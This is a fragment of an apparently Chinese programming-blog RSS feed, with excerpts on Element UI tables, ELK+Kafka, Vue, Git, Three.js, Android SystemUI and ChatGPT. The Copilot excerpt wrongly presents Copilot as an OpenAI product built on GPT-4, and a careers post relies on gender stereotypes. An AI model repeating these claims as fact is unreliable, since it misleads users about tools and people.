      <description>转自：点击《el-table》让选中的行变色，亲测实用_怎么实现网页表格的某一行点击后变颜色_0.活在风浪里的博客-CSDN博客&#xA;设置点击某一行，改行背景色改变：&#xA;给el-table设置 highlight-current-row属性&#xA;在style中设置选中行的颜色&#xA;/* 用来设置当前页面element全局table 选中某行时的背景色*/&#xA;.el-table__body tr.current-row&amp;gt;td{&#xA;background-color: #ff784a !important;&#xA;color: #fff;&#xA;}&#xA;设置鼠标移上行的背景色：&#xA;// 修改鼠标经过表格的颜色&#xA;/deep/ .el-table tbody tr:hover &amp;gt; td {&#xA;// background-color: rebeccapurple !important;&#xA;// color: #ffffff;&#xA;// 可以选择隐藏&#xA;background-color: transparent !important&#xA;}&#xA;或&#xA;::v-deep .el-table__body tr:hover &amp;gt; td {&#xA;background-color: #cd9f9f!important;&#xA;color: #ffffff;&#xA;}&#xA;点击某一事件表格背景色变化&#xA;比如点击行内的编辑按钮时，背景色变化；而我单独点击行时，背景色不变化；&#xA;给编辑按钮添加点击事件，存储当前编辑的行。&#xA;给表格绑定row-style属性&#xA;row-style=&#34;isRed&#34; 还有一些其他的选中行操作：&#xA;https://www.cnblogs.com/Amerys/p/14688342.html&#xA;element ui表格多选修改背景色_elementui表单多选选中项背景色_路边蹲着看美女的博客-CSDN博客&#xA;https://blog.csdn.net/luoxuebinfei/article/details/123366501&#xA;注意：toggleRowSelection如果没有第二个参数，则点击行 复选框选中，再次点击复选框不被选中。如果有第二个参数为true, 则无论点击多少次，复选框均为选中状态</description>
    </item>
    <item>
      <title>基于ELK&#43;Kafka构建分布式日志采集系统</title>
      <link>https://bchobby.github.io/posts/be65d3d960c8b98b393e353e2953fa0a/</link>
      <pubDate>Fri, 28 Apr 2023 13:46:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be65d3d960c8b98b393e353e2953fa0a/</guid>
      <description>文章目录 一、分布式日志采集产生背景二、ELK+Kafka组成elk+kafka原理为什么ELK需要结合KafkaELK+Kafka环境构建验证elk+kafka 环境安装 logstash 三、springboot项目整合elk+kafkamaven依赖aop拦截系统日志配置文件内容在kibana页面查看日志 一、分布式日志采集产生背景 1.传统日志采集存在哪些缺点&#xA;2.elk+kafka日志采集的原理&#xA;3.基于docker compose 安装elk+kafka环境&#xA;4.基于AOP+并发队列实现日志的采集&#xA;在传统项目中，如果在生产环境中，有多台不同的服务器集群，如果生产环境需要通过日志定位项目的Bug的话，需要在每台节点上使用传统的命令方式查询，这样效率非常低下。&#xA;因此我们需要集中化的管理日志，ELK则应运而生。&#xA;传统方式服务器搜索日志命令：tail -200f 日志文件名称&#xA;二、ELK+Kafka组成 Elk E= ElasticSeach（存储日志信息）&#xA;l Logstash(搬运工)&#xA;K Kibana连接到我们ElasticSeach图形化界面查询日志&#xA;Elk+kafka实现分布式日志采集&#xA;为什么需要将日志存储在ElasticSeach 而不是MySQL中呢&#xA;ElasticSeach 底层使用到倒排索引存储数据 ，在 搜索日志效率比mysql要高的。&#xA;elk+kafka原理 springboot项目会基于aop的方式拦截系统中日志，请求与响应日志信息—前置或者环绕通知；将该日志投递到我们kafka中 注意该过程一定要是异步的形式，如果是同步形式会影响到整体&#xA;接口的响应速度。Logstash 数据源—kafka 订阅kafka的主题 获取日志消息内容Logstash 在将日志消息内容输出到es中存放开发者使用Kibana连接到ElasticSeach 查询存储日志内容。 为什么ELK需要结合Kafka 如果只整合elk 不结合kafka这样的话 每个服务器节点上都会安装Logstash做读写日志IO操作，可能性能不是很好，而且比较冗余。&#xA;ELK+Kafka环境构建 整个环境采用 docker compose 来实现构建&#xA;注意：环境 cpu 多核 内存 4GB以上&#xA;创建docker-compose.yml&#xA;version: &#39;2&#39; services: zookeeper: image: wurstmeister/zookeeper ports: - &#34;2181:2181&#34; restart: always kafka: image: wurstmeister/kafka:2.</description>
    </item>
    <item>
      <title>适合女生从事的IT职业，前途美美光明</title>
      <link>https://bchobby.github.io/posts/c402fd41d1249edf3160006008226395/</link>
      <pubDate>Fri, 28 Apr 2023 11:16:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c402fd41d1249edf3160006008226395/</guid>
      <description>随着行业的不断发展，越来越多的女性也思考转行学习IT。不过，有些女性可能会担心找不到适合自己的专业方向，毕竟在潜意识里，IT似乎是一个男性占主导的领域。但实际上，女生在互联网行业中有很多值得学习的方向。女性参与IT产业非常酷！下面就为大家简单盘点一下女生在互联网行业中的学习方向。&#xA;1️⃣UI设计&#xA;UI设计非常注重细节和美感，女性在视觉美感、色彩搭配方面往往更加敏感。因此，在UI设计中，注重细节和美感等因素对于吸引女性用户非常重要。女性设计师能够更好地把握用户的需求和喜好，并在设计过程中更加注重每一个细节，使得界面更加精致。&#xA;2️⃣软件测试&#xA;女生天生具备细心、耐心和责任心等特质，在软件测试这个需要耐心和细致的工作中 ，女生能够表现出色。女生在团队协作中更容易与人沟通和协调，能够更好地与其他团队成员合作完成任务。&#xA;不过在学习的时候难免会使用到一些测试的工具，我刚开始学的适合就在多御浏览器里找在线工具使用，里面有一个互联网网络安全栏目，里面有一些测试的时候回用到工具，可以直接在线使用，十分方便。&#xA;3️⃣web前端开发&#xA;Web前端是一个极具创造性的领域，女性通常以她们在设计和美学方面的优势，表现出色。同时，Web前端工作需要高度的沟通和协作能力，而女性则天生擅长与人交流和合作，因而很容易在团队中脱颖而出。此外，Web前端行业重视用户体验和可访问性，符合女性对于细节和关注用户需求的敏感度，有利于她们展示自己的才华。总之，女性在学习Web前端方面有很多优势，只要充分发挥自己的特长和才能，就能够取得成功。&#xA;总之，女生是非常适合学习IT的❗️❗️❗️</description>
    </item>
    <item>
      <title>VUE2 &#43; ElementUI 将Table数据导出为Excel文件——vue-json-excel</title>
      <link>https://bchobby.github.io/posts/d5b677bab17f96a4e351c825e005e2d3/</link>
      <pubDate>Fri, 28 Apr 2023 10:35:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5b677bab17f96a4e351c825e005e2d3/</guid>
      <description>VUE2 + ElementUI 将Table数据导出为Excel文件——vue-json-excel 最近做前端开发遇到一个需求，需要实现在前端将table里的数据导出问excel文件&#xA;于是在网上查了好几种方式，但是都不是很好用，最后看中了vue-json-excel这个组件&#xA;在此记录一下，方便以后查询&#xA;方案一 通过js动态创建一个下载按钮实现下载 这是在网上找到的第一种方式，我尝试了一下只能实现下载下来，得到的却不是excel，而是一堆Object，代码如下：&#xA;let url = window.URL.createObjectURL(new Blob(this.tableData)) let link= document.createElement(&#39;a&#39;) link.style.display=&#39;none&#39; link.href=url let filename = this.tableDataType + &#39;.xlsx&#39;; link.setAttribute(&#39;download&#39;, filename) document.body.appendChild(link) link.click() 结果如下：&#xA;原文链接：https://blog.csdn.net/nanchen_J/article/details/123134430&#xA;方案二 通过xlsx和file-saver插件实现导出Excel 安装依赖&#xA;npm install file-saver npm install xlsx 在main.js中设置全局配置&#xA;该步骤可以省略，加入全局配置只是方便复用&#xA;// vue中导出excel表格模板 import FileSaver from &#39;file-saver&#39; import XLSX from &#39;xlsx&#39; Vue.prototype.$FileSaver = FileSaver; //设置全局 Vue.prototype.$XLSX = XLSX; //设置全局 方法实现&#xA;exportExcel() { // table 是表格组件的ID let tables = document.</description>
    </item>
    <item>
      <title>json-server的使用从入门到精通</title>
      <link>https://bchobby.github.io/posts/8b54e000d0a7c8aeb3093d7da0175772/</link>
      <pubDate>Fri, 28 Apr 2023 10:27:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b54e000d0a7c8aeb3093d7da0175772/</guid>
      <description>本地数据接口 —— json-server 从入门到膨胀 如果不想自己在本地搭环境，还可以使用 《前端需要的免费在线api接口》 里推荐的几个线上接口平台，里面包括常用的 json 结构数据和图片。&#xA;虽然有线上的免费接口可以测试，但需要自定义接口和数据的时候，还是本地模拟数据比较适合前端开发者。&#xA;本文分 入门篇 和 进阶篇。再往下滑一点就能看到全文目录。&#xA;入门篇： 5分钟内带你实现 本地环境搭建 和 增删改查 操作，满足入门测试使用。&#xA;进阶篇： 主要讲解常用的 查询操作，除此之外还包括 常规配置、静态资源配置 等知识点。这部分有点长，建议收藏。&#xA;本文约定&#xA;本文主要面向的读者是 前端小白，几乎不会涉及到后端知识，所以并不打算讲解 json-server 中间件 的内容。&#xA;本文讲到的所有知识点都会提供对应的代码展示（会比官方文档详细点）。&#xA;本文使用 postman 测试，希望能照顾到使用不同工具库做数据请求的读者（我知道还有只懂 jQuery 的开发者）。&#xA;特殊情况会使用 axios 配合演示。&#xA;点赞 + 收藏 = 学会了&#xA;目录&#xA;思维导图.png&#xA;入门 json-server简介 npm地址 | github地址&#xA;Get a full fake REST API with zero coding in less than 30 seconds (seriously)&#xA;引用了官方的一句话，大概意思是30秒就能获得一套完整的模拟 REST API 接口。</description>
    </item>
    <item>
      <title>Copilot使用教程：让AI助手提升你的编程效率</title>
      <link>https://bchobby.github.io/posts/f16c1caaa7498d83c9d4f6232b9e1391/</link>
      <pubDate>Fri, 28 Apr 2023 09:37:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f16c1caaa7498d83c9d4f6232b9e1391/</guid>
      <description>OpenAI推出的Copilot是一个基于GPT-4的代码生成器，它可以帮助你在编写代码时给出智能建议，从而提高你的编程效率。&#xA;文章目录&#xA;什么是CopilotCopilot的安装与配置Copilot的基本功能Copilot实战案例Copilot的优势和局限性Copilot的未来发展 什么是Copilot Copilot是由OpenAI开发的一款人工智能编程助手，它利用了最先进的GPT-4技术来帮助开发者更轻松地编写代码。通过与各种代码编辑器（如VS Code，Atom等）集成，Copilot可以实时地为用户提供代码建议、函数签名、注释等。这使得开发者可以在编程过程中更加专注于解决实际问题，而不是花费大量时间编写或查找相应的代码。&#xA;Copilot的安装与配置 在这一部分，我们将介绍如何安装和配置Copilot。我们以VS Code编辑器为例，讲解如何在VS Code中安装和使用Copilot。&#xA;安装步骤 打开VS Code编辑器，点击左侧边栏中的Extensions按钮，或者按下快捷键Ctrl+Shift+X。&#xA;在搜索框中输入&#34;Copilot&#34;，找到OpenAI Copilot插件，并点击安装。&#xA;配置 在安装Copilot插件后，首次使用前需要进行简单的配置。请按照以下步骤完成配置：&#xA;点击VS Code左下角的设置按钮，选择&#34;Settings&#34;。在搜索框中输入&#34;copilot&#34;，找到Copilot相关设置。为了获得更好的使用体验，你可以根据自己的需要调整如下设置：&#xA;- Copilot提示的延迟时间&#xA;- 是否在保存时自动格式化代码&#xA;- 是否显示注释等 完成配置后，点击右上角的关闭按钮，返回代码编辑界面完成配置后，点击右上角的关闭按钮，返回代码编辑界面 Copilot的基本功能 在这一部分，我们将详细介绍Copilot的几个基本功能，包括：&#xA;自动补全代码 当你在编写代码时，Copilot会根据当前的上下文，实时地为你提供代码补全建议。例如，在编写Python代码时，你只需要输入几个字符，Copilot就会智能地给出可能的补全选项。你可以用键盘方向键或鼠标来选择补全项，然后按下Tab或Enter键，即可将补全项插入到代码中。&#xA;自动生成函数签名 在编写函数时，Copilot可以帮助你生成函数签名。例如，当你在编写一个计算两个数之和的函数时，只需输入def add，Copilot会自动给出一个函数签名建议，如def add(a: int, b: int) -&amp;gt; int:。这样，你可以更快地完成函数定义，并专注于函数的实现。&#xA;自动生成注释 良好的注释是代码可读性的保证。然而，在实际编程过程中，很多开发者可能会忽略注释的重要性。有了Copilot，你无需担心这个问题。当你在编写代码时，Copilot会根据代码的功能自动生成相应的注释。例如，在编写一个文件操作函数时，Copilot会自动为你生成如下注释：&#xA;# This function reads the content of a file and returns it as a string. def read_file(file_path: str) -&amp;gt; str: ... Copilot实战案例 接下来，我们将通过一个实战案例来展示Copilot如何帮助你提高编程效率。假设我们需要编写一个Python程序，实现一个简单的学生信息管理系统。在这个案例中，我们将使用Copilot完成以下功能：&#xA;定义一个学生类（Student）实现学生信息的增加、删除、修改和查询功能将学生信息保存到文件，并从文件中读取学生信息 定义一个学生类 首先，我们需要定义一个学生类来存储学生的信息。在编写类的定义时，Copilot会自动为我们生成属性和方法签名。例如，我们可以输入如下代码：&#xA;class Student: 然后，Copilot会自动补全属性和方法签名，如下所示：</description>
    </item>
    <item>
      <title>element-ui 上传图片回显</title>
      <link>https://bchobby.github.io/posts/7827f2e15a6c9d5a2723016a31dbaf24/</link>
      <pubDate>Fri, 28 Apr 2023 09:30:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7827f2e15a6c9d5a2723016a31dbaf24/</guid>
      <description>这里是用element-ui组件 已经接收数据 让图片回显&#xA;&amp;lt;el-form-item label=&#34;景区图片&#34;&amp;gt; &amp;lt;el-upload list-type=&#34;picture-card&#34; :action=&#34;&#39;https://scienicpc.kuxia.top/pcapi/File/fileimg&#39;&#34; :on-change=&#34;handleChanges&#34; :before-remove=&#34;beforeRemove&#34; :on-preview=&#34;handlePictureCardPreview&#34; :file-list=&#34;img&#34; multiple limit=&#34;1&#34; name=&#34;img&#34; v-model=&#34;formLabelAligns.img&#34;&amp;gt; &amp;lt;el-icon class=&#34;avatar-uploader-icon&#34;&amp;gt; &amp;lt;Plus /&amp;gt; &amp;lt;/el-icon&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;/el-form-item&amp;gt; 注意组件里的 :file-list=&#39;img&#39; 这里 这里是回显的关键 有可能你的接口数据获取的是图片链接 没有办法直接在本地显示 在这里要做一个链接处理&#xA;//声明一个变量 const img = ref([]) //这里是你的图片的链接格式 需要添加url格式 img.value.push({ url: id.s_img }) 获取到你的图片之后 转一下格式 在:file-list=&#39;img&#39;更改你后面引号里的数据 就可以做到回显效果啦&#xA;如果点击多个会有多个照片 就在点击事件的时候设置一个空数组就好了</description>
    </item>
    <item>
      <title>【Git 入门教程】第五节、Git远程仓库</title>
      <link>https://bchobby.github.io/posts/d247d54ab4f37992a53b9223829fdc96/</link>
      <pubDate>Fri, 28 Apr 2023 09:28:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d247d54ab4f37992a53b9223829fdc96/</guid>
      <description>Git是一种分布式版本控制系统，它允许开发者在不同计算机之间协作并共享代码。在本文中，我们将介绍如何以Git为基础进行远程协作。其中包括克隆仓库、推送代码、拉取代码等操作。&#xA;一、克隆仓库 要协作开发一个Git项目，需要从服务器上获取该项目的副本。&#xA;运行以下命令来克隆Git仓库：&#xA;git clone &amp;lt;url&amp;gt; 其中，“url”是Git仓库的远程URL地址。此命令将下载Git仓库的完整副本到指定目录。&#xA;# 将远程仓库克隆到本地，形成本地仓库 git clone https://gitee.com/biyu/hello-chat-gpt.git 创建文件并提交到本地仓库&#xA;# 增加文件 git add test.txt # 提交文件 git commit -m &#39;test&#39; 二、推送代码 一旦对代码进行更改并提交，就可以将代码推送回Git仓库。以下是如何将更改推送到Git仓库的步骤：&#xA;打开终端并导航到Git仓库目录。&#xA;运行以下命令将更改推送到Git仓库：&#xA;git push origin &amp;lt;branch&amp;gt; 其中，“branch”是要推送更改的分支名称。&#xA;# 同步远程仓库 # 远程仓库默认有个别名叫origin，将本地仓库的文件推送（push）到远程仓库 # git push 远程仓库别名 分支名称 git push origin master 查看日志&#xA;# 查看git日志 git log $ git log commit 273d9b34479c78bcf11fe3db84995b80ea2de835 (HEAD -&amp;gt; master, origin/master, origin/HEAD) Author: xu** &amp;lt;xu**@mail&amp;gt; Date: Fri Apr 28 08:45:30 2023 +0800 create test file commit 4f44438458a4a980f7c676b436c3113eb834253c Author: biyu &amp;lt;xu**_dev@163.</description>
    </item>
    <item>
      <title>C编程-pta-打印菱形图案</title>
      <link>https://bchobby.github.io/posts/a8cd9cbfc6c38c8d9b24f22ba2733aae/</link>
      <pubDate>Fri, 28 Apr 2023 00:14:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8cd9cbfc6c38c8d9b24f22ba2733aae/</guid>
      <description>本题要求编写程序，打印一个高度为n的、由“*”组成的正菱形图案。&#xA;输入格式: 输入在一行中给出一个正的奇数n。&#xA;输出格式: 输出由n行星号“*”组成的菱形，如样例所示。每个星号后跟一个空格。&#xA;输入样例: 7 输出样例: * * * * * * * * * * * * * * * * * * * * * * * * * 思路：&#xA;输出是菱形，就要分别确定行和列，所以首先对行使用一个for循环，再在行的里面嵌套一个列的循环。观察图案，如果使用循环，需要将图案分为上半部分和下半部分，然后寻找行，列，n，之间的关系，用条件语句阐述即可。&#xA;代码如下：&#xA;# include &amp;lt;stdio.h&amp;gt; int main () { int n, i, j; scanf (&#34;%d&#34;, &amp;amp;n); for (i=1; i&amp;lt;=n; i++) { if (i&amp;lt;=(n+1)/2)//图案上半边 {//两个for循环，先打印空格，之后再打印星号，这样就不用考虑星号的具体位置，剩余的空格不打印就行 for (j=1; j&amp;lt;=(n+1)/2-i; j++)//图案上左半边 { printf (&#34; &#34;); } for (j=1; j&amp;lt;=2*i-1; j++) { printf (&#34;</description>
    </item>
    <item>
      <title>Three.js教程：设置Geometry顶点位置、顶点颜色数据</title>
      <link>https://bchobby.github.io/posts/72f81101eb0a28eb0151a623276fbbe9/</link>
      <pubDate>Thu, 27 Apr 2023 22:28:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72f81101eb0a28eb0151a623276fbbe9/</guid>
      <description>推荐：将 NSDT场景编辑器加入你的3D工具链 其他系列工具： NSDT简石数字孪生 前面几篇文章通过缓冲类型几何体BufferGeometry给大家讲解了顶点位置、颜色、法向量、索引数据，本节课给大家引入一个新的threejs几何体APIGeometry。几何体Geometry和缓冲类型几何体BufferGeometry表达的含义相同，只是对象的结构不同，Threejs渲染的时候会先把Geometry转化为BufferGeometry再解析几何体顶点数据进行渲染。&#xA;Vector3定义顶点位置坐标数据 Vector3是threejs的三维向量对象,可以通过Vector3对象表示一个顶点的xyz坐标，顶点的法线向量。&#xA;几何体Geometry的顶点位置属性geometry.vertices和缓冲类型几何体BufferGeometry顶点位置属性BufferGeometry.attributes.position是对应的。&#xA;var geometry = new THREE.Geometry(); //声明一个几何体对象Geometry var p1 = new THREE.Vector3(50, 0, 0); //顶点1坐标 var p2 = new THREE.Vector3(0, 70, 0); //顶点2坐标 var p3 = new THREE.Vector3(80, 70, 0); //顶点3坐标 //顶点坐标添加到geometry对象 geometry.vertices.push(p1, p2, p3); Color定义顶点颜色数据 通过threejs顶点颜色对象Color可以定义几何体顶点颜色数据，然后顶点颜色数据构成的数组作为几何体Geometry顶点颜色属性geometry.colors的值。&#xA;几何体Geometry的顶点颜色属性geometry.colors和缓冲类型几何体BufferGeometry顶点颜色属性BufferGeometry.attributes.color是对应的。&#xA;// Color对象表示顶点颜色数据 var color1 = new THREE.Color(0x00ff00); //顶点1颜色——绿色 var color2 = new THREE.Color(0xff0000); //顶点2颜色——红色 var color3 = new THREE.Color(0x0000ff); //顶点3颜色——蓝色 //顶点颜色数据添加到geometry对象 geometry.colors.push(color1, color2, color3); 注意设置几何体Geometry顶点颜色属性geometry.</description>
    </item>
    <item>
      <title>西南交通大学算法分析与设计实验4.3</title>
      <link>https://bchobby.github.io/posts/0b170916416ee0a192d04f2af9573fd2/</link>
      <pubDate>Thu, 27 Apr 2023 22:28:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b170916416ee0a192d04f2af9573fd2/</guid>
      <description>#include &#34;iostream&#34; #include &#34;algorithm&#34; using namespace std; #define MAX 100 int map[MAX][MAX]; int n, position_x, position_y, ncount; void Search(int up, int down, int left, int right, int special_x, int special_y) { if (down - up &amp;gt;= 3 || right - left &amp;gt;= 3) { int mid_height = (up + down) / 2; int mid_width = (left + right) / 2; if (mid_height &amp;gt;= special_x &amp;amp;&amp;amp; mid_width &amp;gt;= special_y) { ncount++; map[mid_height + 1][mid_width] = ncount; map[mid_height + 1][mid_width + 1] = ncount; map[mid_height][mid_width + 1] = ncount; Search(up, mid_height, left, mid_width, special_x, special_y); Search(mid_height + 1, down, left, mid_width, mid_height + 1, mid_width); Search(up, mid_height, mid_width + 1, right, mid_height, mid_width + 1); Search(mid_height + 1, down, mid_width + 1, right, mid_height + 1, mid_width + 1); } else if (mid_height &amp;gt;= special_x &amp;amp;&amp;amp; mid_width &amp;lt; special_y) { ncount++; map[mid_height][mid_width] = ncount; map[mid_height + 1][mid_width + 1] = ncount; map[mid_height + 1][mid_width] = ncount; Search(up, mid_height, mid_width + 1, right, special_x, special_y); Search(up, mid_height, left, mid_width, mid_height, mid_width); Search(mid_height + 1, down, left, mid_width, mid_height + 1, mid_width); Search(mid_height + 1, down, mid_width + 1, right, mid_height + 1, mid_width + 1); } else if (mid_height &amp;lt; special_x &amp;amp;&amp;amp; mid_width &amp;gt;= special_y) { ncount++; map[mid_height][mid_width] = ncount; map[mid_height + 1][mid_width + 1] = ncount; map[mid_height][mid_width + 1] = ncount; Search(mid_height + 1, down, left, mid_width, special_x, special_y); Search(up, mid_height, mid_width + 1, right, mid_height, mid_width + 1); Search(up, mid_height, left, mid_width, mid_height, mid_width); Search(mid_height + 1, down, mid_width + 1, right, mid_height + 1, mid_width + 1); } else if (mid_height &amp;lt; special_x &amp;amp;&amp;amp; mid_width &amp;lt; special_y) { ncount++; map[mid_height + 1][mid_width] = ncount; map[mid_height][mid_width] = ncount; map[mid_height][mid_width + 1] = ncount; Search(mid_height + 1, down, mid_width + 1, right, special_x, special_y); Search(up, mid_height, mid_width + 1, right, mid_height, mid_width + 1); Search(up, mid_height, left, mid_width, mid_width, mid_height); Search(mid_height + 1, down, left, mid_width, mid_height + 1, mid_width); } } else { ncount++; for (int i = up; i &amp;lt;= down; i++) { for (int j = left; j &amp;lt;= right; j++) { if (i == special_x &amp;amp;&amp;amp; j == special_y) { continue; } else { map[i][j] = ncount; } } } return ; } } int main() { cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; position_x &amp;gt;&amp;gt; position_y; if (position_x &amp;lt; 0 || position_y &amp;lt; 0 || position_x &amp;gt;= n || position_y &amp;gt;= n || n % 2 !</description>
    </item>
    <item>
      <title>SystemUI流程</title>
      <link>https://bchobby.github.io/posts/69436a7c02907ad103a4d3c2bc53c4b1/</link>
      <pubDate>Thu, 27 Apr 2023 20:48:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69436a7c02907ad103a4d3c2bc53c4b1/</guid>
      <description> 目录&#xA;SystemUI类图&#xA;SystemUI流程一：SystemUI启动流程&#xA;SystemUI流程二：StatusBar创建流程&#xA;SystemUI流程三：系统Notification实现流程&#xA;附：应用Notification实现流程&#xA;源码基于 Android 12。&#xA;SystemUI 是 Android 的系统界面，在 Andorid 系统源码中，系统内置 app 一般放在 package/apps下，例如 settings，camera，Phone，Message 等等。而在 framework/base/package 下，它们也是系统的 app，SystemUI 就在此目录下。SystemUI 是系统应用，由 SystemServer 进程进行启动，入口 Application 为SystemUIApplication。常用UI组件有如下几个：&#xA;状态栏 StatusBar通知栏 NotificationPanel导航栏 NavigationBar最近任务 Recent键盘锁 Keyguard快捷按键栏 QSPanel SystemUI类图 SystemUI流程一：SystemUI启动流程 SystemUI流程二：StatusBar创建流程 SystemUI流程三：系统Notification实现流程 根布局：super_status_bar.xml；顶上状态栏： status_bar.xml, 通过CollapsedStatusBarFragment.java加载，PhoneStatusBarView(FrameLayout,)是里面的父控件，对应 R.id.status_bar_container ；下拉状态栏：（包括通知为status_bar_expanded.xml）,最外层布局NotificationPanelView。 通知显示过程：&#xA;super_status_bar.xmlstatus_bar.xmlsuper_notification_shade.xmlstatus_bar_expanded.xmlNotificationPanelViewNotificationsQuickSettingsContainerNotificationStackScrollLayout 以上从 SystemUI 大概类图，以及自身启动流程开始，到 StatusBar 创建流程，再到系统 Notification 实现流程，一步步去理解 SystemUI 的相关流程。&#xA;附：应用Notification实现流程 </description>
    </item>
    <item>
      <title>人工智能前沿——「全域全知全能」人类新宇宙ChatGPT</title>
      <link>https://bchobby.github.io/posts/274c18edc9104b615a4adf63694e0f1f/</link>
      <pubDate>Thu, 27 Apr 2023 17:08:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/274c18edc9104b615a4adf63694e0f1f/</guid>
      <description>🚀🚀🚀OpenAI聊天机器人ChatGPT——「全域全知全能」人类全宇宙大爆炸！！🔥🔥🔥 一、什么是ChatGPT?🍀🍀 ChatGPT是生成型预训练变换模型（Chat Generative Pre-trained Transformer）的缩写，是一种语言模型。而OpenAI所提出的这一系列的模型，可以执行非常复杂的任务，如回复问题、生成文章和程序代码，或者翻译文章内容等。而GPT中的Transformer是指由Google Brain所推出的解码器（decoder），是用来处理输入的自然语言以处理翻译、摘要等。ChatGPT是OpenAI开发的一种创新AI模型，利用强大的GPT-3系列，并通过人类反馈与强化学习相一致。ChatGPT是一个聊天机器人，它为对话带来了一个新的互动和参与水平，对问题提供了深刻和发人深省的回答。&#xA;但ChatGPT不仅仅是个聊天机器人，而是上知天文下知地理、可以针对使用者问题给予相应的长篇回复；问答解惑、写程式和debug，甚至撰写论文、剧本小说诗歌等等，都难不倒它，只是有时还是会出现令人啼笑皆非的答案，但都还编得有模有样、令人惊艳。&#xA;ChatGPT自2022年11月30日开放公众使用以来，已经吸引超过100万人使用，社群媒体也涌现了大量用户的测试截图，主题广泛，个个都在测试人工智慧的极限。&#xA;总之，ChatGPT是一个非常强大和多功能的人工智能模型，能够提供有洞察力和吸引人的对话，并以多种不同的方式推进人工智能研究领域。OpenAI创建ChatGPT的努力无疑是一个令人印象深刻的壮举，为AI的未来提供了不可思议的潜力。&#xA;二、ChatGPT的作者是谁？🍀🍀 ChatGPT由马斯克（Elon Musk）参与创立的独立研究机构OpenAI基金会所研发，初衷是为了确保AI最终不会消灭人类。 三、ChatGPT是如何训练的?🍀🍀 📚📚ChatGPT的训练过程分为以下三个阶段👇👇 ✨✨第一阶段： 冷启动阶段的监督策略模型。靠GPT 3.5本身，尽管它很强，但是它很难理解人类不同类型指令中蕴含的不同意图，也很难判断生成内容是否是高质量的结果。为了让GPT 3.5初步具备理解指令中蕴含的意图，首先会从测试用户提交的prompt(就是指令或问题)中随机抽取一批，靠专业的标注人员，给出指定prompt的高质量答案，然后用这些人工标注好的&amp;lt;prompt,answer&amp;gt;数据来Fine-tune GPT 3.5模型。经过这个过程，我们可以认为GPT 3.5初步具备了理解人类prompt中所包含意图，并根据这个意图给出相对高质量回答的能力，但是很明显，仅仅这样做是不够的。&#xA;✨✨第二阶段： 训练回报模型（Reward Model,RM）。这个阶段的主要目的是通过人工标注训练数据，来训练回报模型。具体而言，随机抽样一批用户提交的prompt(大部分和第一阶段的相同)，使用第一阶段Fine-tune好的冷启动模型，对于每个prompt，由冷启动模型生成K个不同的回答，于是模型产生出了&amp;lt;prompt,answer1&amp;gt;,&amp;lt;prompt,answer2&amp;gt;….&amp;lt;prompt,answerK&amp;gt;数据。之后，标注人员对K个结果按照很多标准（上面提到的相关性、富含信息性、有害信息等诸多标准）综合考虑进行排序，给出K个结果的排名顺序，这就是此阶段人工标注的数据。&#xA;接下来，我们准备利用这个排序结果数据来训练回报模型，采取的训练模式其实就是平常经常用到的pair-wise learning to rank。对于K个排序结果，两两组合，形成个训练数据对，ChatGPT采取pair-wise loss来训练Reward Model。RM模型接受一个输入&amp;lt;prompt,answer&amp;gt;，给出评价回答质量高低的回报分数Score。对于一对训练数据&amp;lt;answer1,answer2&amp;gt;，我们假设人工排序中answer1排在answer2前面，那么Loss函数则鼓励RM模型对&amp;lt;prompt,answer1&amp;gt;的打分要比&amp;lt;prompt,answer2&amp;gt;的打分要高。&#xA;归纳下：在这个阶段里，首先由冷启动后的监督策略模型为每个prompt产生K个结果，人工根据结果质量由高到低排序，以此作为训练数据，通过pair-wise learning to rank模式来训练回报模型。对于学好的RM模型来说，输入&amp;lt;prompt,answer&amp;gt;，输出结果的质量得分，得分越高说明产生的回答质量越高。&#xA;✨✨第三阶段： 采用强化学习来增强预训练模型的能力。本阶段无需人工标注数据，而是利用上一阶段学好的RM模型，靠RM打分结果来更新预训练模型参数。具体而言，首先，从用户提交的prompt里随机采样一批新的命令（指的是和第一第二阶段不同的新的prompt，这个其实是很重要的，对于提升LLM模型理解instruct指令的泛化能力很有帮助），且由冷启动模型来初始化PPO模型的参数。然后，对于随机抽取的prompt，使用PPO模型生成回答answer， 并用上一阶段训练好的RM模型给出answer质量评估的回报分数score，这个回报分数就是RM赋予给整个回答（由单词序列构成）的整体reward。有了单词序列的最终回报，就可以把每个单词看作一个时间步，把reward由后往前依次传递，由此产生的策略梯度可以更新PPO模型参数。这是标准的强化学习过程，目的是训练LLM产生高reward的答案，也即是产生符合RM标准的高质量回答。&#xA;如果我们不断重复第二和第三阶段，很明显，每一轮迭代都使得LLM模型能力越来越强。因为第二阶段通过人工标注数据来增强RM模型的能力，而第三阶段，经过增强的RM模型对新prompt产生的回答打分会更准，并利用强化学习来鼓励LLM模型学习新的高质量内容，这起到了类似利用伪标签扩充高质量训练数据的作用，于是LLM模型进一步得到增强。显然，第二阶段和第三阶段有相互促进的作用，这是为何不断迭代会有持续增强效果的原因。&#xA;尽管如此，我觉得第三阶段采用强化学习策略，未必是ChatGPT模型效果特别好的主要原因。假设第三阶段不采用强化学习，换成如下方法：类似第二阶段的做法，对于一个新的prompt，冷启动模型可以产生k个回答，由RM模型分别打分，我们选择得分最高的回答，构成新的训练数据&amp;lt;prompt,answer&amp;gt;,去fine-tune LLM模型。假设换成这种模式，我相信起到的作用可能跟强化学习比，虽然没那么精巧，但是效果也未必一定就差很多。第三阶段无论采取哪种技术模式，本质上很可能都是利用第二阶段学会的RM，起到了扩充LLM模型高质量训练数据的作用。&#xA;以上是ChatGPT的训练流程。&#xA;四、ChatGPT的演变历程🍀🍀 1. GPT-1 就是第一代GPT模型，于2018年6月诞生时，就已经是个强大的语言理解模型。从判断两个句子间的语意与关系、文本资料分类、问答与常识推理都难不倒，只是并非好的对话式AI模型，训练参数也远低于后续模型。&#xA;2. GPT-2 